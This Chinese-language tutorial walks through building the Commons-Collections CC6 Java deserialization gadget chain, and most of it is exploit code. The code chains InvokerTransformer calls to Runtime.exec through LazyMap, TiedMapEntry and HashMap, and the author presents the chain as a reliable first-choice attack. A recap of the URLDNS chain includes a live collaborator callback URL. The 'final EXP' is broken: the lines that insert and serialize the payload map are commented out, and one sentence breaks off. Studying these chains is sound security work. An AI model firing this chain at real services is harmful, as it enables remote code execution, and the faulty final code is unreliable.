Java反序列化Commons-Collections篇03-CC6链
官方的CC6链Payload:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java
尾部的exec方法
和之前的CC1链是一样的InvokerTransformer.transform()方法
TiedMapEntry
我们可以从LazyMap.get()的上一层链子 TiedMapEntry 开始复现
getValue
TiedMapEntry的getValue方法会调用map.get(key)方法,也就是说我们可以将构造好的lazymap的恶意内容放入到这里。
这里先尝试以此方法执行恶意代码,先把到lazymap的exp写出来
Runtime runtime=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(runtime);
HashMap hashMap=new HashMap<>();
hashMap.put("key","value");
Map lazymap=LazyMap.decorate(hashMap,invokerTransformer);
Class c= LazyMap.class;
Method method=c.getDeclaredMethod("get", Object.class) ;
method.setAccessible(true);
method.invoke(lazymap,runtime);
然后在这个基础上接着写TiedMapEntry.getValue
的利用方式
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap<>();
//hashMap.put("key","value");
Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
tiedMapEntry.getValue();
这里我刚开始用的是hashMap.put("key","value");,发现不能正确运行
解释为hashMap.put("key", "value");
之后,LazyMap
中已经存在键 "key"
对应的值 "value"
。当 TiedMapEntry.getValue()
被调用时,LazyMap
发现这个键已经存在,会直接返回现有的值,而不会去调用我们设置的 ChainedTransformer
。因此,恶意代码(exec("calc")
)就不会被执行。
所以这里改成hashMap.put("value","value");或者直接把这行代码去掉都行。就是避免一下重名就行
这里就是利用tiedMapEntry.getValue()中的map.get(key),将lazy传入map之后触发lazymap的get函数。
到此为止确定了TiedMapEntry链子的可用性,所以我接下来就是要找getValue的同名函数,同时由于此函数很常见,所以我们一般会优先找同一类下是否存在调用情况。
hashCode
这里找到同名函数的hashCode()方法调用了getValue()
在 Java 反序列化当中,看见了 hashCode()后基本用这一条:
hashMap.put(Object key,Object value);
由此构造新的exp
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap<>();
hashMap.put("value","value");
Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
HashMap expmap=new HashMap<>();
expmap.put(tiedMapEntry,"va");
这里因为在反序列化的时候会自动执行readObject,而Hash的readObject会执行HashMap.put并自动调用.hashCode,这一点在之前分析URLDNS链的时候就提到过,如图
public class CC6 {
public static void main(String[] args)throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap<>();
hashMap.put("value","value");
Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
HashMap expmap=new HashMap<>();
expmap.put(tiedMapEntry,"va");
serialize(expmap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
但是这里打断点调试会发现在序列化的时候就会弹出计算器
解决在序列化的时候就弹出计算器的问题
有没有一种似曾相识的感觉,没错这个问题在我们之前分析URLDNS链的时候也出现过,让我们回顾一下URLDNS链为什么会出现在序列化时被执行的问题。
重点在这里刚开始hashcode初始为-1的时候,hashmap.put就就调用了.hashCode,最终导致exec命令运行,并且运行完之后hashCode的值发生变化,在序列化的时候反而不能触发触发代码。
当时我们通过反射技术改变已有对象的属性,让hashCode的值重新变回-1
就是这样
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://8dmp5g4lqv4ojwh0g0cesf8sijoacz.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
}
然后让我们回到这里,断点调试一下这里是什么原因
然后我就发现计算器在根本还没开始序列化,在这里this.key=key的时候就已经提前弹出了。
分析一下这个现象的原因,在调试的时候,调试器为了展示变量的详细信息会自动调用对象的toString
方法。
所以到这里的时候会自动调用TiedMapEntry.toString()
检查TiedMapEntry,发现了这里的toString函数应该是这里自动调用了getValue,所以这次应该是调试模式下特有的自动调用执行了。
所以这里把toString视图关掉
解决完这一问题之后发现还是在反序列化之前就调用了
所以这里根本的解决办法是 通过修改Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
这一语句,将本来构造好的恶意代码换成一个没用的东西Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
,再在之后通过反射将它改回 chainedTransformer。相关的属性值在 LazyMap 当中为 factory。
同时我们要删除map类型里面的key值内容,让它为false,才能让
最终EXP
public class CC6 {
public static void main(String[] args)throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
//HashMap<Object,Object> map2 = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
//map2.put(tiedMapEntry,"bbb");
map.remove("aaa");
Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
//serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
lazymap中先传入一个没用的东西
map.remove("aaa") 移除map类型里面的key值内容,确保了后续调用 lazymap.get(key) 时,key肯定不存在,一定会去调用工厂Transformer。
最后通过反射将lazymap中的值改回chainedTransformer,实现在反序列化的时候执行恶意代码
总结
由于CC6的通用性和稳定性远远高于CC1,因为它基于HashMap这个稳定且必要的类,所以在评估一个目标时,如果发现它使用了存在版本漏洞的Commons Collecyions,并且没有配置反序列化过滤器,那么CC6链就是一个非常可靠的首选利用方案。
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()